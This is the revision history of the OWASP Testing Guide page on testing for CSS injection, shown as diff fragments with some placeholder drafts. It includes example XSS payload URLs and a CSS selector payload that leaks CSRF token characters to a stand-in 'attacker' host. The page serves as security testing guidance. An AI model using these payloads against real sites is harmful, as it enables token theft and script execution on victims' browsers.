Testing for CSS Injection (OTG-CLIENT-005) - Revision history

Wisec: fixed broken link

2018-01-08T14:20:17Z

fixed broken link

Andrew Muller at 13:34, 8 August 2014

2014-08-08T13:34:08Z

Andrew Muller: Andrew Muller moved page Testing for CSS Injection to Testing for CSS Injection (OTG-CLIENT-005): Align with Common Numbering

2014-08-05T12:09:39Z

Andrew Muller moved page Testing for CSS Injection to Testing for CSS Injection (OTG-CLIENT-005): Align with Common Numbering

Jane O'Connor: Final edit

2014-05-19T12:00:37Z

Final edit

Mauro Gentile at 16:35, 16 December 2013

2013-12-16T16:35:00Z

Mauro Gentile at 16:32, 16 December 2013

2013-12-16T16:32:04Z

Mmeucci: Created page with "{{Template:OWASP Testing Guide v4}} == Brief Summary == aaa == Description of the Issue == aaa

 code here

== Black Box testing and example == Blackbox testi..."

2013-12-16T09:55:55Z

Created page with "{{Template:OWASP Testing Guide v4}} == Brief Summary == aaa == Description of the Issue == aaa <pre> code here </pre> == Black Box testing and example == Blackbox testi..."

New page

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
aaa

== Description of the Issue ==
aaa

<pre>
code here
</pre>

== Black Box testing and example ==
Blackbox testing for XXX is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

== Gray Box testing and example ==
'''Testing for XXX vulnerabilities:'''<br>
For example, looking at the following URL:
XXX

The HTML code will contains the following script:

<pre>
XXX
</pre>
aaa

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
'''Whitepapers'''<br>
* Browser location/document URI/URL Sources - https://code.google.com/p/domxsswiki/wiki/LocationSources
** i.e., what is returned when you ask the browser for things like document.URL, document.baseURI, location, location.href, etc.

@@ Line 100: / Line 100: @@
 '''Presentations'''<br>
-* DOM Xss Identification and Exploitation, Stefano Di Paola - http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf
+* DOM Xss Identification and Exploitation, Stefano Di Paola - [https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dominator/DOMXss_Identification_and_exploitation.pdf http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf]
 * Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA
 * Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx

@@ Line 1: / Line 1: @@
 {{Template:OWASP Testing Guide v4}}
-== Brief Summary ==
+== Summary ==
 A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.
-== Description of the Issue ==
+== How to Test ==
 Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.
@@ Line 55: / Line 55: @@
-== Black Box testing and example ==
+=== Black Box testing ===
 We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well as attributes "style".
-== Gray Box testing and example ==
+=== Gray Box testing ===
 '''Testing for CSS Injection vulnerabilities:'''<br>
 Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs.

@@ Line 4: / Line 4: @@
 A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.
 == Description of the Issue ==
-Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests.  <br />
+Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.
 Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.
-The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the "cssText" function (sink). <br />
+The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the "cssText" function (sink). This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section "Style Sinks".
 <pre>
@@ Line 20: / Line 20: @@
 </script>
 </pre>
 Specifically the attacker could target the victim by asking her to visit the following URLs:  <br />
@@ Line 26: / Line 27: @@
 <li>www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)</li>
 </ul>
 The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:
@@ Line 38: / Line 40: @@
 </pre>
-Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows; in particular, input[name=csrf_token][value=^a] represents an element with the attribute "name" set "csrf_token" and whose attribute "value" starts with "a". By detecting the length of the attribute "value", it is possible to carry out a brute force attack against it and send its value to the attacker's domain.
 <pre>
@@ Line 47: / Line 50: @@
 </style>
 </pre>
 Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details.
 == Black Box testing and example ==
-We are referring to client-side testing, therefore blackbox testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well as attributes "style".
+We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well as attributes "style".
 == Gray Box testing and example ==
 '''Testing for CSS Injection vulnerabilities:'''<br>
-Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs. <br />
+Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs.
-Here follows a basic example:
 <pre>
@@ Line 68: / Line 76: @@
 </pre>
-The above code contains a source "location.hash" that is controlled by the attacker that can inject directly in the attribute "style" of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload. <br />
-We recommend to use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. <br />
+The above code contains a source "location.hash" that is controlled by the attacker that can inject directly in the attribute "style" of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload.
-In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context. <br />
 <pre>
@@ Line 81: / Line 91: @@
 </script>
 </pre>
 == References ==
@@ Line 86: / Line 97: @@
 * [[DOM based XSS Prevention Cheat Sheet]]
 * DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/CssText
 '''Presentations'''<br>
@@ Line 91: / Line 103: @@
 * Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA
 * Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx
 '''Proof of Concepts'''<br>
 * Password "cracker" via CSS and HTML5 - http://html5sec.org/invalid/?length=25
 * CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/

@@ Line 43: / Line 43: @@
 <style>
 input[name=csrf_token][value=^a] {
-   background-image: url(http://attacker/log?^a);
+   background-image: url(http://attacker/log?a);
+}
 </style>

← Older revision	Revision as of 12:09, 5 August 2014
(No difference)